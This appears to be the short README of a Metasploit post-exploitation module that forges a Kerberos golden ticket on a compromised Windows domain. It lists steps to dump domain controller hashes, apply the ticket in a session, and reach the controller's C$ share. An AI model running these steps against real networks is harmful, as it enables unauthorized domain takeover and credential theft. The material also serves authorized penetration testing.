Golden Ticketz Post module

Take the guess work out of creating a golden ticket. Assuming you are running this on a domain compromised computer let the API find the SID values for you, and grab the hash from the database if we have already dumped it...

msf post(golden_ticket) > show options

## Verification
- Run smart_hashdump on Domain Controller
- Get a session on client machine (or can use DC session)
- use post/windows/escalate/golden_ticket
- set SESSION x
- set USE true
- run
- Enter the session (sessions -i x)
- shell
- dir \\target_DC.fqdn.domain\c$
Should be able to do this with Arel
